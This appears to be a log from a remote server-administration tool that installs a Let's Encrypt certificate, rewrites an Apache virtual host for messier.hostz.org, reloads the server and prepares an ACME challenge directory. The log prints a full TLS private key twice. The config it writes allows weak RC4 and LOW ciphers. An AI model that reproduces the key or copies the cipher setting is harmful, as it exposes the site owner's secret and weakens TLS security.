dWuPBIr+EvcoAZ49cXtnsBTml+SjZA8pmDvWHnQQmji4jiB54VEzJRgFCbW2I9MO
pkYD/YM5w+T3vhQ0VLh96pyGbKn2lr/h2lvYPHlMBrUgeJFv145kI/g1tABrR/FM
8ynJiA/p4Taqn12tJxUZfhah2uI9jAkJno9yrVUXZV88bFIs
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCddd38BFBtsf+f
BWpkfT4arXcNCsaHY5Qh3Q9eA7oF9nSFv6qSHOOX/OB2eKOelOnmwpdYPBGVBIYB
JdxrUKJXWNKLCF1DttffAmxWEuqIt7uML84vYoUNf/PJxZm5TbW0nhOmBTGztTCp
zrxl2Cl6xJ2wbjgOr0P6Ye1LSKtZb83InVmVjlGxZJ4DtCz+e+DsoXRvKJk+JSJv
mLHdATfjLyweUxtkXkbMbcaWXGOK7CWi0e0anKUN/3QqoTsG67yZq0TVPohjfN/c
avg/s+bsO5QjG2zEKUi1zO3JKqUlyw2u2toH/9uVtDBzd4xdlGvvVyH+Zpf5JnYd
bFkOjqn3AgMBAAECggEAM3lEiA4g/LsjhSiQDymiE7aBJJJRNBEpa6iITYOKXEik
7tQpPnqTLCxOdGwbkMu9auJR91YrqTtBUz69P5esekFfEnQ5iNlM2GpCYCDu6qKl
fL5j+LmMJU2etGcUSa9Npy3F3o/0H3sr3Vbn36M6bBe6NOLTEHnbDw7UM7gdy65t
jGBztXkYooogJPIyD5OSfBD6iJyxnBVVUjkEjJKeaSb63PSTeqrR3a0jqFSLhsLo
zDS5ORDJs9T6SUlBWrk5BJ/RYfX6CjsMJ+S3u7DTDpClVXqw02Ko4M4EJ1m7hUGE
gkfoScNdbHEL2kbClWwo+x1/UsTY1IfxY9LOAhpfgQKBgQDQOQbGdWbHg/DcuTn5
i74K2GeKfT6SSk3twk2slwdZIxrv8Y9fQt9tY5eargD+t9LBj+NJF1sO7h9YLMgo
U1K3miR/U6ZXxJ0stslVPcElLj07JgGghDY7JgFko1cQgmM8mh7f+9Ylwqlc/U2K
kDYEJulDywAYPjzqsvKpMEBOKwKBgQDBlxGB2RImPRi3vh4n9K6EQU4Z0YRibSlm
S525ThyI9Sosc1HIL0gFFwUwDGS3SFDXLetTW6gHonjj/pID7r1M6Q1LstU5/H6x
AkBTqPGf6MZ5ateSV85jvu+cZMCeZqSwV7FVzCrFgQqJJUK1LoHLTf3mCUoQicST
HS97/3j5ZQKBgH+QUDxJNHxKsscmmwPsvrK6PUS00h6hcviULy3rIM9VGG2jWaiM
uYC0oO5cZ7OlPnLjCeV/b4PIEl/cn4tE8MoWnwF6Z9AhXgFEwjd8q9VxbIXOFPUX
ynmWIQhcoTw2BUHdUcj66gkcJtIXROf8zXrhs8qalSZFCuDmXI+WRe8dAoGAMLT6
oank6BwNIQXDfpgQZJQtu088uKrwdJ1n1Jyzjz3n24E0PWKwAx/UnU8w8/BM7qbO
A44XC7y0H+EICddCZ5xnTPl0rn85vP1tA9+I04v0i8326QoQkoYSsU2kLPZ0Ty3x
Hz4cMM8TwIfQbdeCro0z6XHC4cBX5g+8x7zySgUCgYBxdbsWew6O5UAIV2UufQBj
S0nn5/YGKoMx0z0ofEHGCwcAJcRrv2ZSXO33nurPHP/Hbf2VwWeDzAF8Zh0r+hvX
TPGNSbUxRvab542L1vnasqFdVv7sQCpQpCA2CbJSYjp0ay5hh5YxLnWT2+JAdcRi
pgTxTT1SwyVPL4SP6eb+Ig==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-09-26 06:00:20: 

chmod 755 /tmp/pkp762770; /tmp/pkp762770; rm /tmp/pkp762770

2025-09-26 06:00:20: 


dir=/etc/pki/tls/certs/


2025-09-26 06:00:20: 

PUT: /tmp/pkp858316

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/httpd
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/httpd/conf.d/hostz_messier.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-09-26 06:00:21: 

chmod 755 /tmp/pkp858316; /tmp/pkp858316; rm /tmp/pkp858316

2025-09-26 06:00:21: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/httpd/conf.d/hostz_messier.conf 1520
<VirtualHost *:80>
    ServerName	messier.hostz.org
    DocumentRoot	/var/www/hostz_messier
    
    #
# The following lines prevent .htaccess and .htpasswd files from being
# viewed by Web clients.
#
    <Files ".ht*">
        Require	all denied
    </Files>
    
    ErrorLog	"logs/messier_error_log"
    
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.htm index.py index.php

    <Location /server-status>
        SetHandler server-status
        Require ip 173.48.93.56
    </Location>

</VirtualHost>

<VirtualHost *:443>
    ServerName	messier.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/pki/tls/certs//7933e54b4869b54869c55f49aa21a2a8.crt
    DocumentRoot	/var/www/hostz_messier
    <Directory /var/www/hostz_messier>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/hostz/messier_secure_access.log combined
    ErrorLog	/var/log/httpd/hostz/messier_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-09-26 06:00:21: 

PUT: /tmp/pkp962707

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/httpd
BASENAME=hostz_messier.conf
TARGET=/etc/httpd/conf.d/hostz_messier.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
    ServerName	messier.hostz.org
    DocumentRoot	/var/www/hostz_messier
    
    #
# The following lines prevent .htaccess and .htpasswd files from being
# viewed by Web clients.
#
    <Files ".ht*">
        Require	all denied
    </Files>
    
    ErrorLog	"logs/messier_error_log"
    
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.htm index.py index.php
    
    <Location /server-status>
        SetHandler	server-status
        Require	ip 173.48.93.56
    </Location>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	messier.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/pki/tls/certs//7933e54b4869b54869c55f49aa21a2a8.crt
    DocumentRoot	/var/www/hostz_messier
    <Directory /var/www/hostz_messier>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/hostz/messier_secure_access.log combined
    ErrorLog	/var/log/httpd/hostz/messier_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/httpd/conf.d/hostz_messier.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/httpd/sites-enabled/hostz_messier.conf)= /etc/httpd//etc/httpd/conf.d/hostz_messier.conf'
	echo 'file(/etc/httpd//etc/httpd/conf.d/hostz_messier.conf= 1'
fi


2025-09-26 06:00:22: 

chmod 755 /tmp/pkp962707; /tmp/pkp962707; rm /tmp/pkp962707

2025-09-26 06:00:22: 




2025-09-26 06:00:22: 

PUT: /tmp/pkp109078

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-09-26 06:00:22: 

chmod 755 /tmp/pkp109078; /tmp/pkp109078; rm /tmp/pkp109078

2025-09-26 06:00:23: 


.


2025-09-26 06:00:23: Establishing a connection
2025-09-26 06:00:24: 

PUT: /tmp/pkp973912

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-09-26 06:00:25: 

chmod 755 /tmp/pkp973912; /tmp/pkp973912; rm /tmp/pkp973912

2025-09-26 06:00:25: 


[Fri Sep 26 06:00:25.844832 2025] [so:warn] [pid 3660346:tid 139683631868224] AH01574: module status_module is already loaded, skipping
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:1)
         port 80 namevhost messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:1)
         port 80 namevhost repo.hostz.org (/etc/httpd/conf.d/hostz_repo_org.conf:2)
         port 80 namevhost voip.patientapps.net (/etc/httpd/conf.d/patientapps.conf:1)
         port 80 namevhost zoomchat.net (/etc/httpd/conf.d/zoomchat_www_net.conf:2)
*:443                  is a NameVirtualHost
         default server messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:26)
         port 443 namevhost messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:26)
         port 443 namevhost repo.hostz.org (/etc/httpd/conf.d/hostz_repo_org.conf:29)
         port 443 namevhost messier.pjy.us (/etc/httpd/conf.d/ssl.conf:40)
         port 443 namevhost zoomchat.net (/etc/httpd/conf.d/zoomchat_www_net.conf:31)
ServerRoot: "/etc/httpd"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/etc/httpd/logs/error_log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex authn-socache: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/etc/httpd/run/" mechanism=default 
Mutex cache-socache: using_defaults
Mutex authdigest-opaque: using_defaults
Mutex watchdog-callback: using_defaults
Mutex proxy-balancer-shm: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex authdigest-client: using_defaults
Mutex lua-ivm-shm: using_defaults
PidFile: "/etc/httpd/run/httpd.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="asterisk" id=1000
Group: name="asterisk" id=1000
.




STDERR:
[Fri Sep 26 06:00:25.844832 2025] [so:warn] [pid 3660346:tid 139683631868224] AH01574: module status_module is already loaded, skipping


2025-09-26 06:00:25: 

PUT: /tmp/pkp124610

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/httpd/conf.d/hostz_messier.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-26 06:00:26: 

chmod 755 /tmp/pkp124610; /tmp/pkp124610; rm /tmp/pkp124610

2025-09-26 06:00:26: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/httpd/conf.d/hostz_messier.conf	1528
<VirtualHost *:80>
    ServerName	messier.hostz.org
    DocumentRoot	/var/www/hostz_messier
    
    #
# The following lines prevent .htaccess and .htpasswd files from being
# viewed by Web clients.
#
    <Files ".ht*">
        Require	all denied
    </Files>
    
    ErrorLog	"logs/messier_error_log"
    
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.htm index.py index.php
    
    <Location /server-status>
        SetHandler	server-status
        Require	ip 173.48.93.56
    </Location>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	messier.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/pki/tls/certs//7933e54b4869b54869c55f49aa21a2a8.crt
    DocumentRoot	/var/www/hostz_messier
    <Directory /var/www/hostz_messier>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/hostz/messier_secure_access.log combined
    ErrorLog	/var/log/httpd/hostz/messier_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-09-26 06:00:26: 

PUT: /tmp/pkp509627

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/pki/tls/certs//7933e54b4869b54869c55f49aa21a2a8.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-26 06:00:27: 

chmod 755 /tmp/pkp509627; /tmp/pkp509627; rm /tmp/pkp509627

2025-09-26 06:00:27: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/pki/tls/certs//7933e54b4869b54869c55f49aa21a2a8.crt	5356
bc:ac:2f:96:53:d3:97:97:81:4d:ce:74:00:47:62:fc

-----BEGIN CERTIFICATE-----
MIIFADCCA+igAwIBAgISBWp8+6T+uPSMzQ7a9g3X5AAJMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwOTI2MDUwMTQzWhcNMjUxMjI1MDUwMTQyWjAcMRowGAYDVQQD
ExFtZXNzaWVyLmhvc3R6Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAJ113fwEUG2x/58FamR9Phqtdw0KxodjlCHdD14DugX2dIW/qpIc45f84HZ4
o56U6ebCl1g8EZUEhgEl3GtQoldY0osIXUO2198CbFYS6oi3u4wvzi9ihQ1/88nF
mblNtbSeE6YFMbO1MKnOvGXYKXrEnbBuOA6vQ/ph7UtIq1lvzcidWZWOUbFkngO0
LP574OyhdG8omT4lIm+Ysd0BN+MvLB5TG2ReRsxtxpZcY4rsJaLR7RqcpQ3/dCqh
OwbrvJmrRNU+iGN839xq+D+z5uw7lCMbbMQpSLXM7ckqpSXLDa7a2gf/25W0MHN3
jF2Ua+9XIf5ml/kmdh1sWQ6OqfcCAwEAAaOCAiMwggIfMA4GA1UdDwEB/wQEAwIF
oDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQUyvTPhYJcrQfawAUhG5j8uLYRL9gwHwYDVR0jBBgwFoAU56ufDywz
oFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEzLmkubGVuY3Iub3JnLzAcBgNVHREEFTATghFtZXNzaWVyLmhvc3R6Lm9y
ZzATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8v
cjEzLmMubGVuY3Iub3JnLzEwLmNybDCCAQYGCisGAQQB1nkCBAIEgfcEgfQA8gB3
ABLxTjS9U3JMhAYZw48/ehP457Vih4icbTAFhOvlhiY6AAABmYSbl0kAAAQDAEgw
RgIhAJSKe/jbMh0gh+caSmWetSoF5jBuH82dX17fGB9HTIcwAiEAhYomwsLm/kY0
AzsETncKCEmfvqaCR8xyHIg7pwXiwO4AdwCkQsUGSWBhVI8P1Oqc+3otJkVNh6l/
L99FWfYnTzqEVAAAAZmEm58YAAAEAwBIMEYCIQCIs43nontbOwJAVB7KiLRaqp0s
PoC4oYs+h4BaDLGUyAIhAIGCdnYE03sPFuV/7e8Q0lCmKpz+h2u50lj8bIpDeD/Z
MA0GCSqGSIb3DQEBCwUAA4IBAQAGlzvUr7NFBQf2Qs4ZkgxB/X7YpqjJSkR78I37
UqTrXEe8ZltZCZ+zo62Eotct/E4Eu5Ujl/1n/qyVU8e29AX4THPvZ7nI9SswoHvm
SwnR5PMrt5Rw5QkIYeFzTW7XHzWXM7eZ8WYRggxgm71/08hP93tX48AsKeMxqbwr
dWuPBIr+EvcoAZ49cXtnsBTml+SjZA8pmDvWHnQQmji4jiB54VEzJRgFCbW2I9MO
pkYD/YM5w+T3vhQ0VLh96pyGbKn2lr/h2lvYPHlMBrUgeJFv145kI/g1tABrR/FM
8ynJiA/p4Taqn12tJxUZfhah2uI9jAkJno9yrVUXZV88bFIs
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCddd38BFBtsf+f
BWpkfT4arXcNCsaHY5Qh3Q9eA7oF9nSFv6qSHOOX/OB2eKOelOnmwpdYPBGVBIYB
JdxrUKJXWNKLCF1DttffAmxWEuqIt7uML84vYoUNf/PJxZm5TbW0nhOmBTGztTCp
zrxl2Cl6xJ2wbjgOr0P6Ye1LSKtZb83InVmVjlGxZJ4DtCz+e+DsoXRvKJk+JSJv
mLHdATfjLyweUxtkXkbMbcaWXGOK7CWi0e0anKUN/3QqoTsG67yZq0TVPohjfN/c
avg/s+bsO5QjG2zEKUi1zO3JKqUlyw2u2toH/9uVtDBzd4xdlGvvVyH+Zpf5JnYd
bFkOjqn3AgMBAAECggEAM3lEiA4g/LsjhSiQDymiE7aBJJJRNBEpa6iITYOKXEik
7tQpPnqTLCxOdGwbkMu9auJR91YrqTtBUz69P5esekFfEnQ5iNlM2GpCYCDu6qKl
fL5j+LmMJU2etGcUSa9Npy3F3o/0H3sr3Vbn36M6bBe6NOLTEHnbDw7UM7gdy65t
jGBztXkYooogJPIyD5OSfBD6iJyxnBVVUjkEjJKeaSb63PSTeqrR3a0jqFSLhsLo
zDS5ORDJs9T6SUlBWrk5BJ/RYfX6CjsMJ+S3u7DTDpClVXqw02Ko4M4EJ1m7hUGE
gkfoScNdbHEL2kbClWwo+x1/UsTY1IfxY9LOAhpfgQKBgQDQOQbGdWbHg/DcuTn5
i74K2GeKfT6SSk3twk2slwdZIxrv8Y9fQt9tY5eargD+t9LBj+NJF1sO7h9YLMgo
U1K3miR/U6ZXxJ0stslVPcElLj07JgGghDY7JgFko1cQgmM8mh7f+9Ylwqlc/U2K
kDYEJulDywAYPjzqsvKpMEBOKwKBgQDBlxGB2RImPRi3vh4n9K6EQU4Z0YRibSlm
S525ThyI9Sosc1HIL0gFFwUwDGS3SFDXLetTW6gHonjj/pID7r1M6Q1LstU5/H6x
AkBTqPGf6MZ5ateSV85jvu+cZMCeZqSwV7FVzCrFgQqJJUK1LoHLTf3mCUoQicST
HS97/3j5ZQKBgH+QUDxJNHxKsscmmwPsvrK6PUS00h6hcviULy3rIM9VGG2jWaiM
uYC0oO5cZ7OlPnLjCeV/b4PIEl/cn4tE8MoWnwF6Z9AhXgFEwjd8q9VxbIXOFPUX
ynmWIQhcoTw2BUHdUcj66gkcJtIXROf8zXrhs8qalSZFCuDmXI+WRe8dAoGAMLT6
oank6BwNIQXDfpgQZJQtu088uKrwdJ1n1Jyzjz3n24E0PWKwAx/UnU8w8/BM7qbO
A44XC7y0H+EICddCZ5xnTPl0rn85vP1tA9+I04v0i8326QoQkoYSsU2kLPZ0Ty3x
Hz4cMM8TwIfQbdeCro0z6XHC4cBX5g+8x7zySgUCgYBxdbsWew6O5UAIV2UufQBj
S0nn5/YGKoMx0z0ofEHGCwcAJcRrv2ZSXO33nurPHP/Hbf2VwWeDzAF8Zh0r+hvX
TPGNSbUxRvab542L1vnasqFdVv7sQCpQpCA2CbJSYjp0ay5hh5YxLnWT2+JAdcRi
pgTxTT1SwyVPL4SP6eb+Ig==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-09-26 06:00:27: Establishing a connection
2025-09-26 06:00:27: Establishing a connection
2025-09-26 06:00:27: 

PUT: /tmp/pkp839308

#!/bin/bash
if [ -d "/var/www/anitayoung_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-09-26 06:00:28: 

chmod 755 /tmp/pkp839308; /tmp/pkp839308; rm /tmp/pkp839308

2025-09-26 06:00:28: 


1


2025-09-26 06:00:28: Establishing a connection
2025-09-26 06:00:28: 

PUT: /tmp/pkp940429

#!/bin/bash
mkdir -p "/var/www/anitayoung_www/.well-known/acme-challenge/"
